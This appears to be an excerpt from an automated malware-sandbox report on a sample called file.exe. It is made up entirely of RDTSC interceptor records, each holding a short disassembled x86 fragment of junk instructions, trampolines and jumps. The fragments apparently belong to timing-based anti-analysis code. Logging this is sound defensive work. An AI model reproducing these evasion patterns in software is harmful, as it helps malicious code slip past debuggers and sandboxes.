Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C779 second address: 80C7A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1538C62CD6h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F1538C62CE1h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80BA65 second address: 80BA69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C7A0 second address: 80C7A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80BA69 second address: 80BA6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80BB18 second address: 80BB25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C960 second address: 80C964 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80BB25 second address: 80BB2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D79D second address: 80D7A7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F153924BB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C964 second address: 80C96A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D7A7 second address: 80D84A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F153924BB6Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F153924BB68h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 mov di, cx 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007F153924BB68h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000016h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 and edi, dword ptr [ebp+122D3C3Fh] 0x0000004a mov edi, dword ptr [ebp+122D3C0Bh] 0x00000050 push 00000000h 0x00000052 push 00000000h 0x00000054 push ebx 0x00000055 call 00007F153924BB68h 0x0000005a pop ebx 0x0000005b mov dword ptr [esp+04h], ebx 0x0000005f add dword ptr [esp+04h], 00000017h 0x00000067 inc ebx 0x00000068 push ebx 0x00000069 ret 0x0000006a pop ebx 0x0000006b ret 0x0000006c clc 0x0000006d push eax 0x0000006e push eax 0x0000006f push edx 0x00000070 jno 00007F153924BB7Fh 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C96A second address: 80C96F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C96F second address: 80CA2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F153924BB68h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 push dword ptr fs:[00000000h] 0x0000002b jng 00007F153924BB6Ch 0x00000031 mov edi, dword ptr [ebp+122D3C83h] 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e call 00007F153924BB71h 0x00000043 add ebx, 3F4CC922h 0x00000049 pop ebx 0x0000004a mov eax, dword ptr [ebp+122D0F89h] 0x00000050 pushad 0x00000051 mov ecx, eax 0x00000053 mov eax, dword ptr [ebp+122D3C57h] 0x00000059 popad 0x0000005a push FFFFFFFFh 0x0000005c push 00000000h 0x0000005e push edx 0x0000005f call 00007F153924BB68h 0x00000064 pop edx 0x00000065 mov dword ptr [esp+04h], edx 0x00000069 add dword ptr [esp+04h], 0000001Ah 0x00000071 inc edx 0x00000072 push edx 0x00000073 ret 0x00000074 pop edx 0x00000075 ret 0x00000076 xor dword ptr [ebp+12460300h], edi 0x0000007c sub di, 5897h 0x00000081 nop 0x00000082 push eax 0x00000083 push edx 0x00000084 jns 00007F153924BB7Dh 0x0000008a jmp 00007F153924BB77h 0x0000008f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80CA2B second address: 80CA4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80CA4D second address: 80CA52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D9BB second address: 80D9CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1538C62CDBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D9CA second address: 80D9D8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80F878 second address: 80F892 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80F892 second address: 80F89C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F153924BB6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80F89C second address: 80F902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D3136h], edi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F1538C62CD8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b mov ebx, dword ptr [ebp+122D3D2Fh] 0x00000031 push eax 0x00000032 jne 00007F1538C62CDCh 0x00000038 pop ebx 0x00000039 push 00000000h 0x0000003b jmp 00007F1538C62CE1h 0x00000040 xchg eax, esi 0x00000041 jp 00007F1538C62CE4h 0x00000047 push eax 0x00000048 push edx 0x00000049 ja 00007F1538C62CD6h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D9D8 second address: 80DA2F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 clc 0x00000009 push dword ptr fs:[00000000h] 0x00000010 mov edi, dword ptr [ebp+122D3B17h] 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d and ebx, dword ptr [ebp+122D3925h] 0x00000023 mov eax, dword ptr [ebp+122D0C41h] 0x00000029 xor di, 1304h 0x0000002e push FFFFFFFFh 0x00000030 push 00000000h 0x00000032 push ebx 0x00000033 call 00007F153924BB68h 0x00000038 pop ebx 0x00000039 mov dword ptr [esp+04h], ebx 0x0000003d add dword ptr [esp+04h], 00000014h 0x00000045 inc ebx 0x00000046 push ebx 0x00000047 ret 0x00000048 pop ebx 0x00000049 ret 0x0000004a nop 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e jnc 00007F153924BB66h 0x00000054 pop eax 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80DA2F second address: 80DA55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007F1538C62CE4h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81085E second address: 8108CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a nop 0x0000000b adc bx, B1ABh 0x00000010 mov bx, di 0x00000013 push 00000000h 0x00000015 mov bx, cx 0x00000018 stc 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F153924BB68h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 add ebx, 4CDF8A4Fh 0x0000003b xchg eax, esi 0x0000003c jbe 00007F153924BB7Ch 0x00000042 pushad 0x00000043 jbe 00007F153924BB66h 0x00000049 jmp 00007F153924BB6Eh 0x0000004e popad 0x0000004f push eax 0x00000050 pushad 0x00000051 pushad 0x00000052 pushad 0x00000053 popad 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8108CE second address: 8108E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1538C62CE0h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811944 second address: 811948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810B01 second address: 810B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1538C62CDEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811B31 second address: 811B3B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F153924BB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811B3B second address: 811B45 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1538C62CDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811B45 second address: 811B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811B52 second address: 811B56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811B56 second address: 811B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812A87 second address: 812AB2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b jnc 00007F1538C62CD6h 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1538C62CE7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814909 second address: 814919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F153924BB6Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812AB2 second address: 812B50 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1538C62CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F1538C62CD8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 push ebx 0x00000027 jmp 00007F1538C62CDEh 0x0000002c pop edi 0x0000002d push dword ptr fs:[00000000h] 0x00000034 jmp 00007F1538C62CE6h 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 push 00000000h 0x00000042 push esi 0x00000043 call 00007F1538C62CD8h 0x00000048 pop esi 0x00000049 mov dword ptr [esp+04h], esi 0x0000004d add dword ptr [esp+04h], 00000018h 0x00000055 inc esi 0x00000056 push esi 0x00000057 ret 0x00000058 pop esi 0x00000059 ret 0x0000005a mov eax, dword ptr [ebp+122D1791h] 0x00000060 mov ebx, dword ptr [ebp+122D3869h] 0x00000066 push FFFFFFFFh 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b jnl 00007F1538C62CDCh 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815983 second address: 815989 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816ACA second address: 816B2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov ebx, 4EAAC6CCh 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F1538C62CD8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov dword ptr [ebp+1247BE21h], ecx 0x00000030 or edi, 6A19C3FAh 0x00000036 push 00000000h 0x00000038 jmp 00007F1538C62CE4h 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 jne 00007F1538C62CD6h 0x00000047 pushad 0x00000048 popad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816B2B second address: 816B30 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817BD2 second address: 817BDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817BDC second address: 817BE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818C7A second address: 818C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818C80 second address: 818CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 mov ebx, dword ptr [ebp+122D1E66h] 0x0000000f push 00000000h 0x00000011 movzx edi, cx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F153924BB68h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 mov ebx, dword ptr [ebp+122D25F8h] 0x00000036 mov bx, FA77h 0x0000003a push eax 0x0000003b pushad 0x0000003c jmp 00007F153924BB72h 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815B36 second address: 815B40 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1538C62CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815B40 second address: 815B52 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F153924BB68h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815B52 second address: 815B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813C36 second address: 813C3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818DC8 second address: 818DCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813C3B second address: 813C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F153924BB6Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F153924BB74h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818DCC second address: 818DD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813C68 second address: 813C6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813C6C second address: 813C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818EA1 second address: 818EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop edi 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818EB2 second address: 818EB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818EB6 second address: 818EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AF9C second address: 81AFBC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1538C62CE6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C268C second address: 7C269F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jbe 00007F153924BB6Ch 0x0000000d jng 00007F153924BB66h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C269F second address: 7C26AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F1538C62CD6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C26AC second address: 7C26BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F153924BB66h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F153924BB66h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C26BF second address: 7C26E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822DAD second address: 822DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F153924BB66h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F153924BB74h 0x00000012 jns 00007F153924BB66h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822DD4 second address: 822DE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CDFh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822DE9 second address: 822DF0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822DF0 second address: 822E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F1538C62CDEh 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822E03 second address: 822E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822E0B second address: 822E11 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822E11 second address: 822E17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822E17 second address: 822E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822E1D second address: 822E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822E21 second address: 822E25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8258E3 second address: 8258E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8258E9 second address: 825915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1538C62CD6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1538C62CE9h 0x00000012 jnl 00007F1538C62CD6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825915 second address: 825919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CC7B0 second address: 7CC7C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F1538C62CD6h 0x0000000a jnl 00007F1538C62CD6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C41D second address: 82C423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C423 second address: 82C444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F1538C62CE7h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C444 second address: 82C494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F153924BB6Ch 0x0000000b jc 00007F153924BB66h 0x00000011 popad 0x00000012 popad 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jmp 00007F153924BB73h 0x0000001c mov eax, dword ptr [eax] 0x0000001e jmp 00007F153924BB6Fh 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 jc 00007F153924BB74h 0x0000002d push eax 0x0000002e push edx 0x0000002f push ebx 0x00000030 pop ebx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C535 second address: 82C539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831356 second address: 83135B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83135B second address: 831372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F1538C62CD6h 0x0000000a jmp 00007F1538C62CDDh 0x0000000f rdtsc
